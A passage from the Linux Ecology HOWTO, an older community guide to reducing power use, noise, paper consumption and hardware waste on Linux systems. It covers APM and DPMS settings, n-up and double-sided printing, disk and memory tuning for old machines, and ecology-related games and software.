If your machine worked with 2.0.x kernels but not with the 2.2.x series, take this advice from Klaus Franken kfr@klaus.franken.de : "The default changed in 2.2. Search in the init-scripts for halt and change it to halt -p or poweroff. See man halt , if you don't have this option you need a newer version of halt." You may find it in the SysVinit package.

Sometimes X windows and APM don't work smoothly together, the machine might even hang. A recommendation from Steve Rader: Some Linux systems have their X server hang when doing apm -s. Folks with this affliction might want switch to the console virtual terminal then suspend chvt 1; apm -s as root, or, more appropiately.sudo chvt 1; sudo apm -s. I have these commands in a script, say, my-suspend and then do xapmload --click-command my-suspend .

On some new machines (for instance HP Omnibook 4150 - 366 MHz model) when accessing /proc/apm, you may get a kernel fault general protection fault: f000. Stephen Rothwell <Stephen.Rothwell@canb.auug.org.au> http://www.canb.auug.org.au/~sfr/ explaines: "This is your APM BIOS attempting to use a real mode segment while in protected mode, i.e. it is a bug in your BIOS. .. We have seen a few of these recently, except all the others are in the power off code in the BIOS wher we can work around it by returning to real mode before attempting to power off. Here we cannot do this."

ACPI

The latest standard is ACPI. The ACPI4Linux project has started at the beginning of 1999. The ACPI4Linux project is a kernel driver project aimed at implementing full ACPI support for Linux, including fan control, dock/undock detection and a WindowMaker dockable temperature meter. You may reach it at http://phobos.fachschaften.tu-muenchen.de/acpi/ .

  1. hdparm hdparm is a Linux IDE disk utility that lets you set spin-down timeouts and other disk parameters. It works also for some SCSI features.
  2. Mobile Update Daemon This is a drop-in replacement for the standard update daemon, mobile-update minimizes disk spin ups and reduces disk uptime. It flushes buffers only when other disk activity is present. To ensure a consistent file system call sync manually. Otherwise files may be lost on power failure. mobile-update does not use APM. So it works also on older systems.
  3. Toshiba Linux Utilities This is a set of Linux utilities for controlling the fan, supervisor passwords, and hot key functions of Toshiba Pentium notebooks. There is a KDE package Klibreta, too.
  4. LCDproc . "LCDproc is a small piece of software that will enable your Linux box to display live system information on a 20x4 line backlit LCD display. AFAIK it connects only to the external Matrix-Orbital 20x4 LCD display Matrix-Orbital, which is a LCD display connected to a serial port.
  5. Dial Daemon . The Diald daemon provides on demand Internet connectivity using the SLIP or PPP protocols. Diald can automatically dial in to a remote host when needed or bring down dial-up connections that are inactive.

2.2 Power Management Unit - PMU (PowerBook)

PowerBooks don't support the APM specification, but they have a separate protocol for their PMU (Power Management Unit). There is a free (GPL) daemon called pmud that handles power management; it can monitor the battery level, put the machine to sleep, and set different levels of power consumption. It was written by Stephan Leemburg <stephan@jvc.nl>, and is available from PPC distribution ftp sites (e.g. ftp://ftp.linuxppc.com/contrib/software/Utilities/System/). There is also an older utility called snooze available from the same sites that just puts the PowerBook to sleep.

2.3 Turn Monitor off, use Keyboard LEDs

There are some tools which allow to get information from your computer without using the monitor:

  • bl : Blink Keyboard LEDs
  • blinkd : "Blinks keyboard LEDs for an answering machine or fax machine. Blinkd is a client/server pair, that lets the keyboard LEDs blink, indicating things like the number of incoming voice calls in the voice box or incoming faxes in the spool."
  • mailleds : Shows new mails with the keyboard LEDs, mailleds is a quiet, unobtrusive way to signify that you have new mail: a user daemon to blink LEDs when there is new mail.
  • tleds : Blinks keyboard LEDs indicating TX and RX network packets. They blink Scroll-Lock LED when a network packet leaves the machine, and Num-Lock LED when one is received.

2.4 Screensavers

Do they only prevent the screen from being burned in or do they save power, too?

Some recommendations from Wade W. Hampton:

Screensavers usually display graphics, look for ETI, or perform other tasks. When using your screensaver in this manner, you may actually consume MORE power. For example a computer using XSETI as a screensaver might get far warmer (hence use more power) than when it was being used to edit a document or perform a compile.

To really save power, and if your X server plus monitor supports it, use the dpms option of xset (see the manual page for xset). For example, to enable the DPMS (Energy Star) features of you X server: xset +dpms

You may also manually change the mode of your X display:

xset dpms force standby
xset dpms force suspend
xset dpms force off

AFAIK a CRT consumes on the order of 25 percent more power when displaying a plain white screen than displaying a plain black screen. So, a screensaver that's mostly black can help save power, even if it doesn't actually use DPMS to power down the screen. Of course, one that's very bright and colourful, or that keeps the CPU running fast is not much help.

Some screen saver programs:

  • The purpose of xscreensaver is to display pretty pictures on your screen when it is not in use, in keeping with the philosophy that unattended monitors should always be doing something interesting, just like they do in the movies. The benefit that this program has over the combination of the xlock and xautolock programs is the ease with which new graphics hacks can be installed: you don't need to recompile this program to add a new display mode, you just change some resource settings. Any program which can be invoked in such a way that it draws on the root window of the screen can now be used as a screensaver without modification. The programs that are being run as screensavers don't need to have any special knowledge about what it means to be a screensaver.
  • LockVC is a console-locking-program combined with a starfield screensaver. Executing LOCKVC on a virtual console brings up a starfield that starts to rotate around all three axes.

2.5 Energy Star Label

Robert Horn <rjh@world.std.com> wrote: "

I had a chance to discuss Energy Star with the designers of desktop printers. They confirmed that the allowable stand-by power targets depend on the device, and they only knew their targets. But they made some other interesting comments:

  1. Energy Star ratings lead to significant operational power savings. Timer based power savings are the exception. Most savings come from designing in power on demand with low leakage drivers. For example, using stepper motors with low leakage current instead of high leakage.

    This savings is both from individual designs and from the resulting demand for low leakage products causing better and cheaper low leakage product designs. The old-style (e.g. typewriter) design with one motor (always on) and various clutches is no longer the least cost.

  2. Energy Star was good organizational engineering. It never required designers to compromise quality or performance, which made it much harder to argue against design changes to reduce power consumption while idle. Since most of the savings begin the millisecond that parts stop moving, these savings are considerable.
  3. The power ratings on PC's are a safety rating, not a usage rating. So the 235W and 300W power supplies that commonly found in PCs are specifying their safety limits. Actual full power usage is much less, typically 20-30 percent of the safe limit. The designers also noted that it is actually difficult to measure the power consumption of a switching power supply. You need to use specially designed power meters. The regular AC meters are designed for motors, and are rather inaccurate for switching power supplies.
..."

2.6 Miscellaneous Power Saving Techniques

Linux halts the CPU in the idle cycle to further reduce power consumption. Early reports of OS/2, Win3.1/95, NT, and Linux showed Linux to use far less power than DOS-based O/S's that spun in the idle loop and consumed power -- this may have changed hence it would need research to validate.

Most Linux-users tend to leave their computer on for years whenever possible. However, several modern BIOS's support an unattended powerup, and with cron you can even do an unattended shutdown. No need to leave the computer on night after night.


Linux Ecology HOWTO: Alternative Power Supplies - Sun, Wind, Water

 Next Previous Contents

3. Alternative Power Supplies - Sun, Wind, Water

See a survey of links at Eklektix .


Linux Ecology HOWTO: Noise Reduction

 Next Previous Contents

4. Noise Reduction

Most of the noise emitted by a computer is produced by the fan, the harddisk and the speakers.

4.1 Fan

  • libsensors0 is a library to read temperature/voltage/fan sensors
  • lm-sensors "Kernel drivers to read temperature/voltage/fan sensors. This is a module for reading the temperature/voltage/fan sensors in Linux via the LM78/79 chip and possibly sensors on the SMBus (System Management Bus, usually found in P6 and P-II systems). The LM80 and a LM78-clone called W83781D are also supported." http://www.lm-sensors.nu/
  • ACPI, see APM chapter

4.2 Harddisk

The noise of the hard disk can be very disturbing, see man hdparm to reduce the spin of the disk.

4.3 Speakers

For the console setterm -blength 0 and for X xset b off turns the bell off. See also PCMCIA-HOWTO, and much more details in the Visible-Bell-mini-Howto by Alessandro Rubini.


Linux Ecology HOWTO: Saving Consumables (Paper, Ink, etc.)

 Next Previous Contents

5. Saving Consumables (Paper, Ink, etc.)

5.1 Printing of Drafts / Multiple Pages on One Sheet of Paper

Use psutils package to put more than one page on one sheet of paper. This collection of utilities is for manipulating PostScript documents. Page selection and rearrangement are supported, including arrangement into signatures for booklet printing, and page merging for n-up printing.

Often HTML pages are not optimised for printing. You may use html2ps, a HTML to PostScript converter, to print HTML pages. "This program converts HTML directly to PostScript. The HTML code can be retrieved from one or more URLs or local files, specified as parameters on the command line. A comprehensive level of HTML is supported, including inline images, CSS1, and some features of HTML 4.0."

Or you may use mpage to print 2 up or 4 up (PS documents or ASCII text). This may be used to save up to 50 percent or more of your paper.

5.2 Double Sided Printing

One important way to save paper is to print on both sides of the paper. Ben Woodard is working on a library called libppd that allows you to do this from standard Linux printing programs (along with other printer tweaking, but duplex printing is most important for paper saving.)

http://sourceforge.net/project/?group_id=1658 is the download page for the beta version, as well as for a modified version of lpr that supports this functionality.

mpage can do some of this as well. From the manual page:

-jfirst[-last][%interval]

Print just the selected sheets, specified by number, starting at 1. Here last defaults to the end of data, interval to 1. Thus -j1-10 selects the first 10 sheets, while -j 1%2 prints just the odd- numbered sheets and -j 2%2 prints just the even ones.

You can do double-sided printing, in two passes, as follows. If you use 3-hole punched paper, put it in the printer such that the holes will appear at the top of the page -- on the right as you pull out the printer tray, in our Laser writer II NTX. Print the odd-numbered sheets with

-j 1%2 ...

Note the number of pages it reports. (Only half this many will really be printed). When printing finishes, if mpage reported an odd number of pages, remove the last one from the stack, since there will be no even-numbered sheet to match it. Then arrange the stack of paper for printing on the other side. (If it's punched, the holes will now be on the left.) On our II NTX, the paper comes out blank-side up; replace it in the tray still blank-side up but rotated 180 degrees. For other printers, you figure it out. Now print the even- numbered sheets in reverse order with

-r -j 2%2 ...

hoping no one else reaches the printer before you do.

Still missing are some explanations how to use a printer, which has a duplex (add on) device. Sorry I don't have such an expensive printer, so I can't check it yet.

5.3 Reading From the Monitor Instead From Paper

Or use less/xless/gless as a viewer instead of printing. You can view PostScript documents with gs and view PDF documents with either xpdf or acroread (from Adobe). Ask yourself, do you --really-- need a hardcopy each time you decide to print something out.

What are the reasons why people don't read from the monitor:

  • Reading is slower up to 30 percent, see N.N.. The speed can be improved by better hardware (e.g. TFT display, greater screen, though this is against the other below to take smaller CRTs) and better display software (type-1, t1lib, truetype, freetype).
  • Paper seems better organizable and more secure to some people. I suppose this can be treated by better software (e.g. Linux) and hardware, too.

Some people use handheld PC (e.g. PalmIII, Newton Message Pad, Psion 5) to carry around documents to read rather than printing them out.

5.4 Other Techniques

Another means of saving paper is through the use of comments and redline/strikeout markings when exchanging a document with a co-worker/colaborator. For example, a draft could be written using WordPerfect, then E-MAILed to a co-worker. They could update the draft and send it back to you. You can use WordPerfect's redline/strikeout features to see the changes. The document need not be printed until it is "final" or in "final draft" status.

Question: Can you use the back side of paper in a laser printer? I have not had much luck. You can use the paper that has been in a laser printer in an inkjet printer by using the other side.

You should purchase smaller computers and monitors when possible. This will save packaging material translating into less solid waste. For example the box for a 15" CRT monitor is 2-3 times the size of the box for a 15" LCD monitor. Linux works well with 15" LCD monitors on smaller computers like the Netwinder or E3000 .

Tough smaller monitors may have another ecological caveat: because it's inconvenient to browse to longer documents, people may tend to print the documents instead of reading them from the screen.

Some have expressed the concern that LCD displays may use more toxic materials and manufacturing processes than CRT displays, hence their usage actually may be worse on the environment. The original information above concerned the solid waste issue, which is fairly tangible and hence more controllable.

Does anyone know of studies or additional research to help clarify and resolve this issue?

Recycle your used paper, ink, and packing materials.

You may use refillable printer cartridges. In Germany the are marked with the Blauer Engel label.

Laser printer cartridges can often be used much more longer if you shake them when the message toner low appears at the message panel.

  • LaTeX documents: Using \usepackage{ccfonts} replaces the usual fonts by ones with wider lines and bolder serifes, improving readability at low resolutions. They are darker (i.e. use more ink) than the CM fonts and not as beautiful, so I would not recommend them for normal-size printings.
  • Size-Reduction: Instead of psnup or other parts of the pstools I recommend the psnup written in Perl4 by Malcolm Herbert (it's from 1994, and no longer maintained but however there is a descendant of it called yup, available at yup).

    It has a lot of options, which allow to set all 4 margins and the inner gutter separately. Since reduced documents are not very pretty anyway, this can be used to reduce the margin, leaving more place for the text. This probably requires some experimenting (trying new values over and over, checking the result with ghostview).

    The normally used options are:

    • -p2 (or -p4 etc., like -2 in the old psnup)
    • -NIH (don't decorate)
    • -l10 -r20 -b30 -t40 (add to margins)
    • -g50 (add to gutter)

    (these values vary depending on the papersize and the margins of the original, negative values are allowed).

  • Different ink printers are more or less capable to print on the backside of already used paper sheets. Try different manufacturers. Older Canon ink printers offer 360 dpi, older HP ink printers 300 dpi. The readability of 4 pages/sheet using LaTex 10pt lies in between this features.
  • Non-Linux: If you have to work with MS-Windows you should get the original Adobe-PostScript-Driver, instead of using the ones from MS-Windows. These drivers offer more than one page per paper sheet. AFAIK both psnup programs don't work with Adobe-PS, MS-Windows-PS and the PostScript extracted from MS-Windows-PDF files. The Computer-Modern-Fonts (without German diacritical characters) are available as TTF fonts on the CTAN servers. With these fonts you may enhance the aesthetical value of documents and save some paper space, too.
  • Ghostscript has a new output format pswrite, which creates output in correct PostScript. This feature can be used to repair broken PostScript e.g. from Microsoft drivers, allowing their postprocessing with psnup etc.
  • impose+ is a set of PostScript utilities. The main program is impose, which is used for two-up printing of DSC-compliant PostScript (including that from Netscape, dvips, and FrameMaker). It makes an effort to remove white space from the printout by probing the original PostScript for the bounding box of the printed area. This makes the output much more esthetic than does a simplistic layout of non-cropped original pages.
  • hpgs hpgs is a printer driver that lets you to print on a HP 6xx Series printer using economic mode. It relies on the printer driver included in GhostScript to do everything but put the printer into economic mode.

Wade W. Hampton provided the biggest part of this chapter. Some suggestions are from Ralf Muschall.


Linux Ecology HOWTO: Ecological Behaviour is Convenient

 Next Previous Contents

6. Ecological Behaviour is Convenient

The psutils may not only save paper, they are also a great tool to produce a convenient page design. Imagine a nice bounded manual in A5 format, against a losely hefted block of A4 sheets.

Depending on wordlength and paragraphlength a multi-column layout sometimes saves paper space (though the likelihood for a word to be broken increases, on the other hand the space used by incomplete lines at the end of paragraphs decreases). This doesn't save very much paper, but may fit 2.1 pages in 2.0, therefore with the use of psnup it may fit on one page. Also multicolumn layout is better readable.

Thanks to Ralf Muschall for his suggestions.


Linux Ecology HOWTO: Recycling of Consumables (Paper, Printer Cartrigdes, CD, Floppies, Tapes)

 Next Previous Contents

7. Recycling of Consumables (Paper, Printer Cartrigdes, CD, Floppies, Tapes)

All of these consumables are recycleable. I have put a list of URLs into appendix H. You may start this process by separating different kinds of "waste". There should be included some words on the difficulties of recycling (data security, motivation, costs, ...).


Linux Ecology HOWTO: Reduction of Radiation, Electro Magnetic Fields, Heat

 Next Previous Contents

8. Reduction of Radiation, Electro Magnetic Fields, Heat

  • monitors are a source of radiation and electro magnetic fields. They may be reduced by lead filters, LCD displays. Some eco labels like TCO95 include maximum levels of radiation, etc.
  • especially larger number of PCs or can heat a room very much therefore it might be necessary to cool the room. This ca be reduced by using standby (powerdown) techniques.


Linux Ecology HOWTO: Extending the Life Cycle of your Hardware

 Next Previous Contents

9. Extending the Life Cycle of your Hardware

9.1 Recycling of Hardware

The commercial computer market is largely driven by vendors seeking to sell new hardware and software. There is no commercial marketing benefit in promoting reuse.

Hence Linux doesn't require big hardware, it's very useful if you like or need to use old and small hardware.

Supported CPU Families

Linux runs on Intel-compatible processors, including Intel's 386, 486, Pentium, Pentium Pro and Pentium II, and compatible processors by AMD, Cyrix and others.

Linux doesn't support the 286 CPU family yet. But there are some efforts at ELKS http://www.linux.org.uk/ELKS-Home/index.html or http://www.elks.ecs.soton.ac.uk/.

If you like, you may use Minix one of the predecessors of Linux. Minix supports 8088 to 286 with as little as 640K memory.

Of course there are also ports to other systems, such as ALPHA, PowerPC, etc. For details about systems which are supported by the Linux Kernel, see the Linux FAQ .

The ARM is a fast AND low-power alternative. For example, the Corel/Rebel Netwinder is based on the ARM processor see Rebel and Strong-ARM.

Linux Applications for Old Computers

ISDN Router

ISDN Router allows you to convert old hardware into a secure masquerading ISDN router, including caching nameserver, IP Port Forwarding, and on-demand channel bundling. The system fits onto a single disk, and users can change the configuration through a simple menu-based system (on the console or over telnet) and store it permanently on the disk.

PingOO ISDN Router

The PingOO ISDN Router is a Linux distribution based on Debian which is designed to transform an old and useless computer like a 486/DX with 8MB RAM and 100 MB HD into a very reliable ISDN router. It features bandwith on demand (1 or 2 ISDN channels), dialin for maintenance, IP filters with ipchains, LZS compression, and LAN2LAN or single host + masquerade connection. PingOO ISDN-router uses the same philosophy as PingOO Communication Server.

FreeS/WAN

Linux FreeS/WAN provides IPSEC (IP Security, which is both encryption and authentication) kernel extensions and an IKE (Internet Key Exchange, keying and encrypted routing daemon) as well as various rc scripts and documentation. This lets a bright Linux sysadmin build VPN's gateways out of even old 584 and 486 PC Clone boxes. The 1.00 version is known to inter-operate with other IPSEC and IKE system already deployed by other vendors such as OpenBSD.

Print Server

A common use for an old computer is running a print server on it.

Dealing with Limited Resources or Tuning the System

This chapter is taken from my Laptop-HOWTO.

Related HOWTOs

  1. LBX-HOWTO
  2. Small-Memory-HOWTO

Introduction

To deal with limited space, memory, CPU speed and battery power, I have written this chapter.

Small Space

Introduction

There are different types of techniques to gain more disk space, such as sharing of space, freeing unused or redundant space, filesystem tuning and compression. Note: some of these techniques use memory instead of space. As you will see, there are many small steps necessary to free some space.

Techniques

  1. Stripping: Though many distributions come with stripped binaries today it is useful to check this. For details see man strip. To find every unstripped file you can use the file command or more convenient the tool findstrip. Attention: don't strip libraries, sometimes the wrong symbols are removed due to a bad programming technique.

    A recommendation from Russell Marks <rus@beeb.net>:

    These days a lot of people compile with -g, which I find a bit annoying (though AFAIK this only loses you disk space, in practice).

    strip has a --strip-debug option which doesn't strip symbols, but does still get rid of the debugging stuff. This is almost as good, in many cases, and it's ok to use it on libraries. As it happens, I recently got SuSE 6.3, so I can give you a live example:

    bash-2.03# cd /lib
bash-2.03# ls -l libc.so.6
-rwxr-xr-x   1 root     root      4223971 Nov  6 16:22 libc.so.6
bash-2.03# strip --strip-debug libc.so.6
bash-2.03# ls -l libc.so.6
-rwxr-xr-x   1 root     root      1200355 Dec  8 00:13 libc.so.6

  2. Perforation: zum(1)reads a file list on stdin and attempts to perforate these files. Perforation means, that series of null bytes are replaced by lseek, thus giving the file system a chance of not allocating real disk space for those bytes. Example: find . -type f | xargs zum
  3. Remove Odd Files and Duplicates: Check your system for core files, emacs recovery files <#FILE#> vi recovery files <FILE>.swp, RPM recovery files <FILE>.rpmorig and patch recovery files. Find duplicates, you may try finddup. Choose a system to name your backup, temporary and test files, e.g. with a signature at the end.
  4. Clean Temporary Files: , e.g. /tmp, there is even a tool tmpwatch.
  5. Shorten the Log Files: usually the files in /var/log. There are some nice helpers for this task around, e.g. savelog .
  6. Remove Files: Remove files which are not "necessary" under all circumstances such as man pages, documentation /usr/doc and sources e.g. /usr/src .
  7. Unnecessary Libraries: You may use the binstats package to find unused libraries (Thanks to Tom Ed White).
  8. Filesystem: Choose a filesystem which treats disk space economically e.g. rsfs aka Reiser Filesystem. Tune your filesystem e.g. tune2fs. Choose an appropriate partition and block size.
  9. Reduce Kernel Size: Either by using only the necessary kernel features and/or making a compressed kernel image bzImage.
  10. Compression: I didn't check this but AFAIK you may compress your filesystem with gzip and decompress it on the fly. Alternatively you may choose to compress only certain files. You can even execute compressed files with zexec
  11. Compressed Filesystems:

    - For e2fs filesystems there is a compression version available e2compr , see http://debs.fuller.edu/e2compr/ .

    - DMSDOS which enables your machine to access Windows95 compressed drives (drivespace, doublestacker). If you don't need DOS/Windows95 compatibility, i.e. if you want to compress Linux-only data, this is really discouraged by the author of the program. See http://fb9nt-ln.uni-duisburg.de/mitarbeiter/gockel/software/dmsdos/ .

  12. Partition Sharing: You may share swap-space (see Swap-Space-HOWTO) or data partitions between different OS (see mount). For mounting MS-DOS Windows95 compressed drives (doublespace, drivespace) you may use dmsdos http://metalab.unc.edu/pub/Linux/system/filesystems/dosfs/.
  13. Libraries: Take another (older) library, for instance libc5 , this library seems to be smaller than libc6 aka glibc2 .
  14. Kernel: If your needs are fitted with an older kernel version, you can save some space.
  15. GUI: Avoid as much Graphical User Interface (GUI) as possible.
  16. Tiny Distributions: There are some distributions available which fit from one 3.5" floppy to 10MB disk space and fit for small memories, too. See Laptop-HOWTO
  17. Tailmerging for Ext2: Tailmerging is a technique that helps save space on a filesystem with large blocks and many small files. Tailmerging for Ext2 is an experimental extension for ext2 that packs together tail blocks of several files into a shared block.

Harddisk Speed

Use the tool hdparm to set up better harddisk performance. Though I have seen laptop disk enabled with striping, I can't see a reason to do so, because IMHO aka RAID0 striping needs at least to different disks to increase performance.

Small Memory

Related HOWTOs

  1. Small-Memory-mini-HOWTO by Todd Burgess <tburgess@uoguelph.ca > http://eddie.cis.uoguelph.ca/~tburgess
  2. 4MB Laptop-HOWTO by Bruce Richardson.
  3. Modules-mini-HOWTO
  4. Kerneld-mini-HOWTO

Techniques

Check the memory usage with free and top.

Mergemem Project . Many programs contain memory areas of the same content that remain undetected by the operating system. Typically, these areas contain data that have been generated on startup and remain unchanged for longer periods. With mergemem such areas are detected and shared. The sharing is performed on the operating system level and is invisible to the user level programs. mergemem is particularily useful if you run many instances of interpreters and emulators (like Java or Prolog) that keep their code in private data areas. But also other programs can take advantage albeit to a lesser degree.

You may also reduce the kernel size as much as possible by removing any feature which is not necessary for your needs and by modularizing the kernel as much as possible.

Also you may shutdown every service or daemon which is not needed, e.g. lpd, mountd, nfsd and close some virtual consoles. Please see Small-Memory-mini-HOWTO for details.

And of course use swap space, when possible.

If possible you may use the resources of another machine, for instance with X, VNC or even telnet. For more information on Virtual Network Computing (VNC), see http://http://www.uk.research.att.com/vnc/ .

Low CPU Speed

You may want to overdrive the CPU speed but this can damage your hardware and I don't have experience with it. For some examples look at Adorable Toshiba Libretto - Overclocking http://www.cerfnet.com/~adorable/libretto.html.

Tiny Applications and Distributions

A small collection yet, but I'm looking for more information.

  1. BOA - "Lightweight and High Performance WebServer. boa is a single-tasking HTTP server. That means that unlike traditional web servers, it does not fork for each incoming connection, nor does it fork many copies of itself to handle multiple connections. It internally multiplexes all of the ongoing HTTP connections, and forks only for CGI programs (which must be separate processes.) Preliminary tests show boa is capable of handling several hundred hits per second on a 100 MHz Pentium."
  2. MGR - a graphical windows system, which uses much less resources than X.
  3. Low Bandwidth X - Alan Cox in LINUX REDUX February 1998 " .. there are two that handle normal applications very nicely. LBX (Low Bandwidth X) is the official application of the X Consortium (now OpenGroup www.opengroup.org). Dxpc http://ccwf.cc.utexas.edu/~zvonler/dxpc is the alternative most people prefer. These systems act as proxy X11 servers and compress datastreams by well over 50 percent for normal requests, often reaching a reduction to 25 percent of the original bandwidth usage. With dxpc, X windows applications are quite usable over a 28.8 modem link or across the Internet."
  4. blackbox - "This is a window manager for X. It is similar in many respects to such popular packages as Window Maker, Enlightenment, and FVWM2. You might be interested in this package if you are tired of window managers that are a heavy drain on your system resources, but you still want an attractive and modern-looking interface."
  5. linux-lite - distribution based on a 1.x.x kernel for systems with only 2MB memory and 10MB harddisk. URL see above.
  6. smallLinux - http://smalllinux.netpedia.net/ . Three disk micro-distribution of Linux and utilities. Based on kernel 1.2.11. Root disk is ext2 format and has fdisk and mkfs.ext2 so that a harddisk install can be done. Useful to boot up on old machines with less than 4MB of RAM.
  7. cLIeNUX - client-use-oriented Linux distribution.
  8. minix - not a Linux but a UNIX useful for very small systems, such as 286 CPU and 640K RAM http://www.cs.vu.nl/~ast/minix.html . There is even X support named mini-x by David I. Bell ftp://ftp.linux.org.uk/pub/linux/alan/ .
  9. screen - tiny but powerful console manager. John M. Fisk <fiskjm@ctrvax.vanderbilt.edu> in LINUX GAZETTE July 1, 1996 :"It's a GUI, GUI, GUI, GUI world! " - or so the major OS manufacturers would have you belief. Truth is, that while this is increasingly the case, there are times when the command line interface (CLI) is still a very good choice for getting things done. It's fast, generally efficient, and is a good choice on memory or CPU constrained machines. And don't forget that there are still a lot of very nifty things that can be done at the console." "screen is a full-screen window manager that multiplexes a physical terminal between several processes, typically interactive shells. Each virtual terminal provides the functions of the DEC VT100 terminal and, in addition, several control functions from the ANSI X3.64 (ISO 6429) and ISO 2022 standards (e.g., insert/delete line and support for multiple character sets). Real multiuser support, split screen support, hardstatus emulation support, configurable window seperator and hardstatus strings, permanent window seperator, many new escapes, logfile timestamps and flush timeout, optional builtin telnet, optional Braille support, support for history compaction."
  10. tinyirc - "A tiny, stripped down IRC Client. Doesn't have most of the more advance commands in the ircII family of IRC Clients, nor does it have any color, but it works, and it's tiny."
  11. tinyproxy - "Tinyproxy is a lightweight HTTP proxy designed to do the job with a minimum of system resource use. It's ideal for small networks where a larger HTTP proxy such as squid might be overkill or a security risk. This simplicity also makes tinyproxy an ideal candidate for customization - it takes very little time to read and understand the tinyproxy source, and thus you can start adding your own desired features on short order."

9.2 Other Techniques

NiCad batteries need to be discharged periodically to prevent the memory effect and prolong their lifespan.

Batteries such as NiCad, Lead Acid, and NiMH contain TOXIC chemicals. Techniques should be taken to prolong their lifespan, and when you do discard them, they should be recycled, not thrown in the trash.

One technology to watch is the "Iron" battery mentioned in the article at N.N. . Such a battery could reduce some of the toxic waste problems associated with used batteries, however such a battery is probably a few years away.

Some remarks about backlights in laptops, monitors (screensavers), harddisks (hdparm), etc. have to be written.

9.3 Linux BadRAM Patch

The objective of the BadRAM Patch is to run the Linux kernel in such a way that it can handle defective RAM modules. With defective RAM, I mean RAM which has some bits wrong at some (known) addresses. Normally, such RAM is considered useless and thrown away; the larger RAMs get, the higher the chances of failing addresses. With ever growing RAM sizes, it would therefore be pleasant to have an alternative to discarding of defective RAM chips.

9.4 Other Operating Systems

Courtesy of George White <gwhite@bodnext.bio.dfo.ca>:

Or you can buy an older computer (SGI, Sun, NeXT) that comes with unix and is capable of running a wide range of open source software. In some cases (SGI Indigo2) you can still run current OS versions, in others you may do better with an open source OS such as Linux, but in either case you have access to lots of good software and tools to write your own.

The lower power consumption of older computers means you get more reserve time from an UPS or can use a small alternative power source if you don't have access to "mains" power.


Linux Ecology HOWTO: X10 - Home Automation System

 Next Previous Contents

10. X10 - Home Automation System

"X-10 modules are devices that plug into an electrical outlet and allow you to remotely control the power to a lamp or an appliance that is plugged into them. There are also X-10 modules that install in place of wall switches to control lights, and there's one that can be used to set back a thermostat."

These X10 folks make a really cool dongle called the Firecracker. These allow for the control of X10 devices via a serial-port of your PC. Programs like bottlerocket and gtk-x10 allow Linux programs to control X10 devices using the Firecracker device. You may be able to get the Firecracker, a remote control, a receiver, and a lamp module for as little as $5.95 U.S. (special promotion).

GNU Phantom.Home is a computer controlled home automation system. The software includes a circuit diagram for building the Phantom.Home.Controller, a simple circuit board that attaches to your PC's parallel port. Using the combination of hardware/software you can control (i.e. flip on or off) nearly any 120V device. And with a little bit of electronics know-how, you can probably control nearly any device at any voltage by modifying the circuit board to meet your needs. The simple circuit included can be created and built for around $25. The modules cost around $10 (basically a heavy duty relay).

Turn that light off when not in use!


Linux Ecology HOWTO: Uninterruptable Power Supply - UPS

 Next Previous Contents

11. Uninterruptable Power Supply - UPS

You should use a UPS if you have many thunderstorms in the area. That will save hardware, software, your time, and money, and help prevent you from throwing out that old monitor, CPU, or modem when it gets trashed by lightening. For details consult the UPS-HOWTO.

UPSs do save hardware, save work, etc. In areas prone to lightening, they could save hours of work each week, potentially translating into power savings. They do save hardware in areas prone to power outages. There is some concern over their additional usage of AC power. If anyone has any studies or research on this issue, could they please forward it to us? That would be an interesting question to post to APC, BEST, etc.


Linux Ecology HOWTO: Games

 Next Previous Contents

12. Games

Personally I'm not much a player of computer games but probably they can be used for environmental education. In a first investigation I found lincity and Real Life, please check their usefulness by yourself.

  • lincity build & maintain a city/country. You are required to build and maintain a city. You must feed, house, provide jobs and goods for your residents. You can build a sustainable economy with the help of renewable energy and recycling, or you can go for broke and build rockets to escape from a pollution ridden and resource starved planet, it's up to you. Due to the finite resources available in any one place, this is not a game that you can leave for long periods of time. This game is similar to the commercial simulation game with a similar name. This package provides files common to both the X and SVGALIB versions of the game.
  • Real Life - "In Conway's Game of Life every cell is either fully alive (has the value of 1) or completely dead (has the value 0). In Real Life this restriction to bivalence is lifted to countenance -real-valued- degrees of life and death. Real Life contains Conway's Game of Life as a special case; however, Real Life, in contrast to Conway's Game of Life, exhibits sensitive dependence on initial conditions which is characteristic of chaotic systems."
  • Sierra has produced (some time ago) Eco Quest 1 - Lost in Rainforest and Eco Quest 2 - The Search for Cetus. The EcoQuest games were for MS-DOS and Windows 3.x. These were targeted at younger players.
  • SimEarth, 1988, Maxis (DOS, Win3.x, Mac) Simulates the development of a planet from the forming of the crust to the spread of civilization. Based on James Lovelock's Gaia theory. Somewhat dull and difficult to learn, but there's a good amount of educational value to be gotten out of fiddling around with the models, particularly greenhouse effect.
  • Balance of the Planet, 1991, Chris Crawford (DOS, Mac) You take the role of a government policy-maker who must try to balance industry and ecology. Remarkably complicated and drab (even moreso than SimEarth), but certain to be educational and thought-provoking if time is spent with the manual. (The Mac version can now be downloaded for free from Crawford's website http://www.erasmatazz.com/free.html, but Executor seems to be unable to deal the filenames in the archive.)
  • Global Effect, 1992, Millennium (DOS, Amiga) An early real-time strategy game where you must try to conquer your opponent while dealing with the ecological ramifications of your weapons and industry upon your population. Clunky interface, not a lot of fun compared to current Warcraft-type games.
  • SimIsle, 1995, Maxis (DOS, ???) Develop a tropical island without destroying the rainforest ecology. Large learning curve but supposedly a lot of fun.
  • SimPark, 1997, Maxis (Win 95, ???) Sort of a children's version of SimIsle, which is simpler and more education-focused.

I suspect the older games should run just fine on dosemu.


Linux Ecology HOWTO: Ecology Software (Simulation, Datacollection, Statistics, etc.)

 Next Previous Contents

13. Ecology Software (Simulation, Datacollection, Statistics, etc.)

Though I know there is some MS-Windows based software which is used in ecological science (there is even a branch environmental informatic), I know only Ecolab available for Linux yet. But I guess Linux software (for instance databases or statistics programs) may easily adopted. Also it might be possible to use a Linux cluster to solve ecological simulations.

13.1 Ecolab

Ecolab is both the name of a software package and a research project that is looking at the dynamics of evolution. http://parallel.acsu.unsw.edu.au/rks/ecolab.html EcoLab is a system that implements an abstract ecology model. It is written as a set of Tcl/Tk commands so that the model parameters can easily be changed on the fly by means of editing a script. The model itself is written in C++.

13.2 OpenClassroom

"OpenClassroom - distribution for Education. Pre-alpha. homepage: OpenClassroom is integrating a package of software that allows educational and community organizations to create communities of knowledge by connecting their existing PCs (old or new) into a network, both local and worldwide, such as the Internet. A central focus of this initiative is to allow such organizations to extend the usable life of their equipment by bringing them state-of-the-art software that runs on their existing PCs. Our toolset allows organizations and citizens to own and operate their own digital printing press."

13.3 Tierra

Tierra is a tool for studying digital evolution and ecology that runs on Linux and other OSes.

13.4 Linux in Environmental Research

